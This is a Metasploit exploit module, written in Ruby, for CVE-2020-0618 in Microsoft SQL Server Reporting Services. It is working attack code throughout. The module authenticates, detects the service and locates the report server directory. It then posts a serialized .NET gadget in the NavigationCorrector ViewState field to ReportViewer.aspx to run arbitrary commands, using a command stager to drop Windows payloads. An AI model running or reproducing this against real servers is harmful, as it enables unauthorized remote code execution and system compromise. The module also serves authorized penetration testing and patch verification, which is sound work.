SQL Server Reporting Services (SSRS) ViewState Deserialization Exploit

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'SQL Server Reporting Services (SSRS) ViewState Deserialization',
      'Description' => %q{
        A vulnerability exists within Microsoft's SQL Server Reporting Services
        which can allow an attacker to craft an HTTP POST request with a
        serialized object to achieve remote code execution. The vulnerability is
        due to the fact that the serialized blob is not signed by the server.
      },
      'Author' => [
        'Soroush Dalili',   # discovery and original PoC
        'Spencer McIntyre'  # metasploit module
      ],
      'License' => MSF_LICENSE,
      'References' => [
        ['CVE', '2020-0618'],
        ['URL', 'https://www.mdsec.co.uk/2020/02/cve-2020-0618-rce-in-sql-server-reporting-services-ssrs/'],
      ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows (x86)', { 'Arch' => ARCH_X86, 'Type' => :windows_dropper } ],
          [ 'Windows (x64)', { 'Arch' => ARCH_X64, 'Type' => :windows_dropper } ],
          [ 'Windows (cmd)', { 'Arch' => ARCH_CMD, 'Type' => :windows_command, 'Space' => 3000 } ]
        ],
      'DefaultTarget'  => 1,
      'DisclosureDate' => '2020-02-11',
      'Notes'          =>
        {
          'Stability'   => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],
          'Reliability' => [ REPEATABLE_SESSION, ],
        },
      'Privileged'     => true,
    ))

    register_options([
      OptString.new('TARGETURI', [ true, 'The base path to the web application', '/Reports' ]),
      OptString.new('DOMAIN',    [ true, 'The domain to use for Windows authentication', 'WORKSTATION' ]),
      OptString.new('USERNAME',  [ true, 'Username to authenticate as', '' ]),
      OptString.new('PASSWORD',  [ true, 'The password to authenticate with' ])
    ])
    register_advanced_options([
      OptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 0.5 ]),
    ])
  end

  def send_api_request(*parts)
    res = send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(target_uri.path, 'api', 'v1.0', *parts),
      'headers'   => {
        'Accept'  => 'application/json',
      },
      'username'  => datastore['USERNAME'],
      'password'  => datastore['PASSWORD']
    })
    if res&.code == 200 && res.headers['Content-Type'].strip.start_with?('application/json;')
      return res.get_json_document
    end
  end

  def check
    json_response = send_api_request('ReportServerInfo', 'Model.SiteName')
    return CheckCode::Unknown unless json_response && json_response['value'] == 'SQL Server Reporting Services'
    CheckCode::Detected
  end

  def exploit
    fail_with(Failure::NotFound, 'Failed to detect the application') unless check == CheckCode::Detected

    json_response = send_api_request('ReportServerInfo', 'Model.GetVirtualDirectory')
    fail_with(Failure::UnexpectedReply, 'Failed to detect the report server virtual directory') if json_response.nil?
    directory = json_response['value']
    vprint_status("Detected the report server virtual directory as: #{directory}")

    state = {vd: directory}
    if target['Type'] == :windows_command
      execute_command(payload.encoded, state: state)
    else
      cmd_target = targets.select { |target| target['Type'] == :windows_command }.first
      execute_cmdstager({linemax: cmd_target.opts['Space'], delay: datastore['CMDSTAGER::DELAY'], state: state})
    end
  end

  def execute_command(cmd, opts)
    state = opts[:state]
    viewstate = Rex::Text.encode_base64(::Msf::Util::DotNetDeserialization.generate(cmd))

    res = send_request_cgi({
      'uri'       => normalize_uri(state[:vd], 'Pages', 'ReportViewer.aspx'),
      'method'    => 'POST',
      'vars_post' => {
        'NavigationCorrector$PageState' => 'NeedsCorrection',
        'NavigationCorrector$ViewState' => viewstate,
        '__VIEWSTATE'                   => ''
      },
      'username' => datastore['USERNAME'],
      'password' => datastore['PASSWORD']
    })

    unless res&.code == 200
      print_error('Non-200 HTTP response received while trying to execute the command')
    end

  end
end